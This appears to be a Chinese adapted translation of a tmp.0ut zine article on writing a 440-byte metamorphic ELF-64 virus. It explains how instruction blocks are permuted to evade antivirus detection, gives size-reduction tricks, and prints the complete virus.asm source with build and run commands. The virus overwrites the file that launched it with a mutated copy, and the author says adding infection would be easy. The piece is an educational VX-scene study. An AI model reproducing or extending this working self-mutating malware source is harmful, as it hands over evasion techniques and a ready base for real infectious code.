本文根据 tmp.0ut 第五期中 ti3f 的文章编译整理,非逐字翻译;文中观点均属于原作者。

原文:A 440-BYTE METAMORPHIC ELF-64 VIRUS

文章内容来自 tmpout.sh,本译文依原站 CC BY-NC-SA 4.0 许可作为改编内容发布。如有侵权请通知,我会下架文章。 全文字符数:5098

引言

作者 ti3f 在一次骑车事故撞到头之后,写了自己的第一个病毒;随后他了解了变形病毒(metamorphic virus),并追问:它们能有多小?这篇文章描述一个 440 字节的变形 ELF-64 病毒。

先约定术语。按本文的用途,病毒是“执行某种 payload 的文件”——比如“关掉散热系统烧掉数据中心”那种;这里的病毒只打印 tmp.0ut。变形病毒在每次执行时变异:改变自身形态,但保持功能不变;它们是为了躲避杀毒软件而演化出来的。与自加密(多态)病毒不同,它们的魅力在于永远不会在内存中暴露“真实形态”——因为它们根本没有真实形态。听起来很棒,但很难写。为了简单,本文把“变形”理解为:病毒在执行时改变自己的二进制形态。这个病毒不会传播,只做变异并投递 payload;不过作者说,让它具备传染性、“绑上炸弹和刀”并不困难。

思路:最小形态的变形

对 z0mbie 那篇文章的误解给了作者灵感。可以按“块”来写病毒,执行时把每个块内的指令做排列置换。这算不上变形界的 B-2 隐形轰炸机,但简单且符合对“变形”的直觉。

具体约定:把每条指令视为 4 字节;每个块含 4 条指令;整个病毒由 20 个这样的块构成,外加 120 字节的文件头,总大小 120 + 20 × 4 × 4 = 440 字节。每个块有 4! = 24 种排列,理论上病毒可取 20 × 24 = 480 种不同形态。难点是:只能使用 4 字节(或更短)的 x86-64 指令,并把它们组合成对排列不变的块。

功能结构

既然不做什么“黑客”操作,真正影响病毒行为的只有系统调用。病毒的高级结构(括号内为系统调用):

创建文件(creat)
写入文件头(write)
写入变异后的代码段(write)
关闭文件(close)
覆盖调用者文件(rename)
执行 payload(write)
礼貌退出(exit)

形态:文件头与代码段

首先需要一个文件头。关于 ELF-64 文件头已有许多精彩文章,这里保持简单干净:只用一个程序头。通过魔改文件头可以让病毒更短,但本文焦点是代码段,作者不想分心。

代码段要做的事:创建一个名为 t 的可执行文件,文件名从栈上读。汇编如下:

mov rax, 85 ; creat
mov rsi, 0x1ff ; 文件权限 0777(原文注释误作 0755)
lea rdi, [rsp + 6] ; 文件名 "t"
mov [rsp + 6], "t"
mov [rsp + 7], 0x00
syscall ; 创建文件
mov rdi, rax ; 保存文件描述符

问题立刻出现:整数到寄存器的 mov 指令占 5 字节,而要求是 4 字节。解决办法是用功能等价但只写寄存器低 16 位的指令:

mov rax, 85 ; 5 字节        mov ax, 85 ; 4 字节

这要求寄存器高 48 位必须为零,否则程序会坏,但“能用就行”。整数到内存的 mov 同样占 5 字节,可以换一个寄存器做索引来绕开:

mov [rsp + 6], "t" ; 5 字节      mov rdx, rsp       ; 3 字节
                                 nop                ; 1 字节
                                 mov [rbx + 6], "t" ; 4 字节

寄存器到寄存器的 mov 只有 3 字节,用 no-op 补齐到 4;它必须出现在整数到内存指令之前,也就是属于前一个块。把指令交错并补齐块之后,基本手法就是:每个块无论内部指令如何排序,行为都必须相同。

写文件头时也差不多,唯一麻烦是“源地址”(origin)要存进 rsi。源地址小于 65536 会导致程序崩溃,必须保持不小于这个值;而 16 位只能存 65535,所以这样构造:

; origin = 65536
lea rsi, [origin] ; 8 字节          ; rsi = 0
                                    mov si, 65535      ; 4 字节
                                    lea rsi, [rsi + 1] ; 4 字节

写变异后的代码段:不用条件跳转的循环

代码段由 20 个 16 字节的块组成。C 语言里可以写成双重循环:外层遍历块(i += 16),内层把每个块的 4 条指令按置换顺序写出。循环很麻烦:不能用条件跳转——相对跳转会随块重排被搞坏,绝对地址跳转又超过 4 字节。替代方案是条件移动(cmov)加寄存器跳转。外层循环等价于:

; r14 = continue
; r15 = loop
xor rbp, rbp
...
loop:
    ; code
    add rbp, 16
    ...
    cmp rbp, 320
    mov r8, r14          ; 先假设继续
    ...
    cmovle r8, r15       ; 若 rbp <= 320 则回到 loop
    ...
    jmp r8
continue:

循环本身要吃掉很多块,所以作者把嵌套循环改写成单层等价逻辑:

for (i = 0; i < 320; i += 16) {     for (i = 0, j = 3; i < 320; j--) {
  for (j = 3; j >= 0; j--) {          ; code
    ; code                            if (j <= 0) {
  }                                     i += 16;
}                                       j = 4;
                                      }
                                    }

循环体内写“置换后的一条指令”(省略循环逻辑):

; [rsp + 0] = 0
; [rsp + 1] = 1
; [rsp + 2] = 2
; [rsp + 3] = 3
; r12 = entry
; rbp = i
; rbx = j

rtrand r13 ; 随机数生成(注释沿原文,实际指令为 rdrand)
lea rsi, [r12 + 4 * rbp]
mov ax, 1
mov dx, 4

and r13, rbx ; r13 = random(0, j)
...
mov r9b, byte [rsp + r13] ; 置换整数
mov r10b, byte [rsp + rbx]
...
lea rsi, [rsi + 4 * r9] ; 被置换指令的地址
mov [rsp + rbx], r9b
mov [rsp + r13], r10b
...
syscall ; 把置换后的指令写入文件

栈上预先放好整数 [0, 1, 2, 3]。每轮循环从 0 到 j 之间随机取样一个索引,用该索引对应的整数去写文件,并把它与栈上第 j 个整数交换;下一轮从 0 到 j-1 取样,等价于无放回抽样。源偏移 i 被维护在特定尺度上,从而比较和索引都能用 4 字节指令完成:例如把 lea rsi, [r12 + rbp] + 7 字节的 cmp rbp, 320 改成 lea rsi, [r12 + 4 * rbp] + 4 字节的 cmp rbp, 80

之后用前面介绍过的技巧完成关闭文件、重命名覆盖、执行 payload 和退出。

压缩技巧:六条

形态确定后,作者继续削减块数:

  1. 把指令交错编织,但尊重依赖链,并记得 syscall 会破坏 rax、rcx 和 r11。

  2. 把保存 origin(rsi)、entry(r12)、loop(r14)、continue(r15)地址的寄存器一起构造。这里用 not 而不是 mov 来把 65535 存进扩展寄存器 r13w,正好 4 字节:

    mov r13w, 65535 ; 5 字节         ; r13 = 0
                                     not r13w ; 4 字节
  3. 与其清零寄存器再用 mov(有时必须清零以免崩溃),不如用 lea 配合已知值的寄存器:

    xor rbx, rbx ;                    ; rdx = 120
    nop            ~                  lea rbx, [rdx - 117]
    mov bx, 3
  4. 算术操作会破坏 cmp 与 cmov 之间传递的条件标志,所以用 lea 代替:

    dec rbx            ~            lea rbx, [rbx - 1]
  5. 复制循环迭代器 j,既要在当前使用,又要在后续块中递减。

  6. 循环迭代器 i 在首次进入循环时从不递增,所以可以把“加 16 后的值”放到循环末尾去设置。

  7. 把随机数生成指令从循环第一个块里挪走,改成在最后一个块里和“孤独的 jmp 指令”一起连发多次。这样置换只有 75% 的概率是随机的——“够好了”。

结论与演示

拼起来就是一个 440 字节的变形病毒。要可视化它的变异过程,可以运行:

nasm -f bin virus.asm -o virus; chmod +x virus
watch -t -c -n 0.1 "xxd -R always virus; ./virus"

作者感叹“它是不是很可爱”!用暴力静态分析很容易检测它:实际只有 16 × 24 + 1 × 12 + 3 × 4 = 408 种形态,因为有些块含重复指令。增大块大小可以让形态数按阶乘增长,但编写难度同样上升。作者觉得有趣的是,这种变形技术由一种特定的写作风格促成——限制反而逼出创造力。病毒本身没什么实际用途,但他希望其中的技巧或提出的问题对某些人有价值。他感谢 tmp.0ut、Phrack 和 VXUG 这类资源的贡献者;结语里还对多家大型科技与国防公司(Google、Amazon、Meta、Microsoft、OpenAI、Anthropic、Anduril、Palantir)表达了措辞激烈的批评。

virus.asm 完整清单

bits 64

; 多字节 no-op
%define nop2 db 0x66, 0x90
%define nop3 db 0x0f, 0x1f, 0x00
%define nop4 db 0x0f, 0x1f, 0x40, 0x00

%define origin 65536

; elf 头
db 0x7f, "ELF"            ; e_ident
db 2, 1, 1, 0             ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ; e_ident
dw 2                      ; e_type
dw 0x3e                   ; e_machine
dd 1                      ; e_version
dq origin + header_size   ; e_entry
dq 64                     ; e_phoff
dq 0                      ; e_shoff
dd 0                      ; e_flags
dw 64                     ; e_ehsize
dw 0x38                   ; e_phentsize
dw 1                      ; e_phnum
dw 0                      ; e_shentsize
dw 0                      ; e_shnum
dw 0                      ; e_shstrndx

; 程序头
dd 1                      ; p_type
dd 5                      ; p_flags
dq 0                      ; p_offset
dq origin                 ; p_vaddr
dq origin                 ; p_paddr
dq file_size              ; p_filesz
dq file_size              ; p_memsz
dq 0                      ; p_align

header_size: ; 120

; 代码段

mov ax, 85 ; creat
mov si, 0x1ff
mov rbx, rsp
nop
mov [rsp], 0

mov [rbx + 6], "t"
mov [rbx + 7], 0x00
lea rdi, [rbx + 6]
not r13w ; r13 = 65535 = origin - 1

syscall ; 创建文件
nop2
mov dx, 120 ; header_size
mov [rbx + 1], 1
mov [rbx + 2], 2

mov rdi, rax
nop
lea rsi, [r13 + 1] ; origin
lea r14, [r13 + 127]
mov [rbx + 3], 3

mov ax, 1 ; write
lea rbx, [rdx - 117] ; rbx = 3
lea r12, [r13 + 121] ; entry
add r14, 90 ; loop = 0xd8 = 216 = 127 + 89

syscall ; 写入文件头
nop2
lea r15, [r14 + 95] ; continue = 0x138 = 312 = loop + 95
rdrand r13
nop4

loop: ; 216
  and r13, rbx ; r13 = random(0, j)
  nop
  lea rsi, [r12 + 4 * rbp]
  mov ax, 1 ; write
  mov dx, 4

  cmp rbx, 0
  mov r9b, byte [rsp + r13]
  mov r10b, byte [rsp + rbx]
  mov r11, rbx
  nop

  cmovle rbp, rcx ; rbx <= 0 时 rbp += 4
  cmovle rbx, rdx ; rbx <= 0 时 rbx = 4
  lea rsi, [rsi + 4 * r9]
  mov [rsp + r11], r9b

  syscall ; 把置换后的指令写入文件
  nop2
  cmp rbp, 80 ; program_size / 4
  mov r8, r14 ; loop
  nop
  nop4

  cmovge r8, r15 ; rbp * 4 > program_size 时 r8 = continue,否则 loop
  mov [rsp + r13], r10b
  lea rcx, [rbp + 4]
  lea rbx, [rbx - 1]

  jmp r8
  nop
  rdrand r13
  rdrand r13
  rdrand r13
continue: ; 312

mov ax, 3 ; close
mov rbx, rsp
nop
mov dx, 8
mov [rsp], "t"

syscall ; 关闭文件
nop2
mov [rbx + 1], "m"
mov [rbx + 2], "p"
mov [rbx + 3], "."

mov ax, 82 ; rename
mov rsi, [rbx + 8] ; rsi = argv[0]
lea rdi, [rbx + 6] ; rdi = "t"
nop4

syscall ; 覆盖调用者文件
nop2
mov [rbx + 4], "0"
mov [rbx + 5], "u"
nop4

mov ax, 1 ; write
lea rdi, [rdx - 7] ; rdi = 1 = stdout
mov rsi, rsp
nop
mov [rbx + 7], 0xa

syscall ; 执行 payload
nop2
nop4
nop4
nop4

mov ax, 60 ; exit
xor rdi, rdi
nop
nop4
nop4

syscall ; 礼貌退出
nop2
nop4
nop4
nop4

file_size: ; 440

原文还给出了编译产物的完整十六进制字节(约 440 字节),用于直接核对或生成二进制;此处不再逐字节转录,需要精确字节请查看原页。

参考链接


上一页:57 字节 x86-64 Linux ELF 的内与外

下一页:Perl 杂谈:一段会改变自身形态的代码